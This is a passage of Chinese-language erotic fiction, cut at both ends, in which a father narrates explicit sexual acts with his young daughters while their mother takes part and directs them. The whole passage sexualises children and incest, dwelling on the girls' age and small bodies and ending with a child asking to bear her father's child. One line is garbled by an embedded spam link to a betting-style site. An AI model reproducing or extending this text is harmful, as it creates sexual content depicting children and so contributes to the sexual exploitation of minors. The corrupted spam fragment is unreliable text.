  突然,在我下面和兰儿分享我的蛋蛋的芹儿伸出头来问道:“妈妈,可那个老和尚是怎么知道的啊?”
  妈妈脸上露出迷茫的神色:“这个我倒现在也不清楚。我只知道,那个老和?a href=http://www.687bo.com target=_blank class=infotextkey>性谖一衬憬憬愕氖焙蚓鸵丫け负昧苏飧鱿隳遥桓四阋钡轿疑四翘觳疟淮蚩!?br />  我忍不转始配合这霁儿的动作,挺着腰,加大了鸡巴在霁儿小屄里进出的幅度,道:“难道那个老和尚真的这么神?”
  妈妈黯然道:“我也不清楚,那个老和尚……唉……”
  我见妈妈有些疲惫,赶忙止住话头,道:“好了,妈妈,不要多想了,过去的事都过去了。”
  妈妈闻言摇了摇头,像是要把那些不好的回忆从脑子里赶出去一样——看在我眼里心疼不已——对着几个小丫头道:“好啦,今天的故事就讲到这吧。下面……”
  妈妈冲我眨了眨眼,“看看你们几个小丫头谁能让爸爸射出来哦!”
  几个小丫头欢呼一声,开始各自进行自己的任务。我知道,是妈妈怕我憋着难受,所以才对这几个丫头这么说的。我感激的在妈妈的嘴上吻了一下,也不在压抑自己,双手掐着霁儿的纤细的小腰,加快了速度。
  我这边一用力,霁儿马上就不行了,嘴里“咿咿呀呀”的呻吟开了。霁儿是目前家里和我发生关系最小的一个,今年过完年才给她开的苞,因此小穴还不是很能适应我的鸡巴,几下一过,就软软的摊在我的身上了。妈妈小心翼翼的把霁儿从我的身上抱了下去,一旁等待多时的芹儿、兰儿立马就冲了上来。
 〈着这对容貌一致的双胞胎女儿为了争抢我的鸡巴差点打起来,我苦笑不得,只好赶紧制止她们。妈妈也被逗笑了:“你们这两个活宝!好啦,还不赶紧停下来,你们爸爸等的鸡巴都要软了。”
  我一听,不高兴了,示威似的冲着妈妈摇了摇我的鸡巴,妈妈则是白了我一眼,安排着兰儿先骑了上来。
  鸡巴一进入兰儿的小屄,我便马上大动。兰儿和芹儿被我干了三年多了,小屄已经可以适应我的鸡巴了,所以我便没有对待霁儿那么温柔了,况且忍了这么久,我也急需发泄出来,不然这么慢慢的磨下去,等这几个丫头都泄身了,我怕是还是坚挺如初啊。
  妈妈拍了我一下,示意我慢点,然后把嘴巴凑到我和兰儿的结合处,轻探丁香,柔柔的舔弄;芹儿没有抢过自己的妹妹,嘴里嘟囔几声,又找到了新目标,抓过我的大手,把中指直接塞到自己的小穴里。
  之前一直在舔遍我身子的萍儿,见我上面空着,两腿一分,把小屄凑到了我嘴前,我心里暗美,萍儿一直都是这么懂事。送上门的嫩肉,我自然不会客气,伸出舌头,细细的舔着萍儿光滑的小穴。
  妈妈在前面舔了一会,又转到后面,把我的睾丸吃到嘴里,在嘴里柔柔的吮吸。我上面舔着萍儿的嫩穴,鸡巴上挂着兰儿,手指还玩这一个,睾丸也被很好的照顾着,耳边是几个大小女儿的呻吟声,快感不一会便急速凝集,眼看着就要有了射意。
 ∩兰儿还是不耐干,撑了我几下大力的撞击,便高叫一声趴在了我身上。这边芹儿见机会来,赶忙把妹妹从我身上推了下去,翻身把我的鸡巴套了进去。妈妈还没反应过来,脑袋上的小屁股已经从小女儿换成三女儿的了,不过她感觉到了我会阴一紧一紧的,知道我要射了,也无暇管这些,对着我的睾丸愈发卖力起来。
  我这边马上就要到关头了,兰儿的小屄却离开了,让我一阵不爽,可紧接着一个同样湿润粉嫩的小穴又套了上来,腾出双手的我握住芹儿的细腰,加开马力,极速的抽插,舌头也绷起来,像鸡巴那样抽插着萍儿的小嫩屄。
  芹儿刚上来就吃我一顿猛插,几乎是瞬间就要高潮了。刚干了十几下,我便感觉到芹儿的小屄深处开始一抖一抖的,心想要坏。果不其然,芹儿在被我又干了几下之后,也和她妹妹一样,大叫着泄身了。
  芹儿的爱液打的我的龟头上,成了那临门一脚,我低声吼着,死死抓芹儿的屁股,把鸡巴旧能的插到芹儿的小屄深处,妈妈又适时的在我睾丸上一咬,顿时,我脊背一麻,精液便从龟头喷涌而出。
  芹儿经我的精液一烫,哆嗦着身子又迎来了一波高潮,嘴里带着哭腔喊道:“爸爸,爸爸,射死我了……呜……呜……坏爸爸……射到人家……小肚子里……人家……人家也……也要给爸爸……呜……生女儿……”
  乖女儿请求,身为爸爸的我怎么会不答应。龟头已然突破芹儿的子宫颈,在芹儿幼小娇嫩的子宫里肆无忌惮的一股一股的喷射着,寻找着能够和他结合的卵子,孕育下一个后代。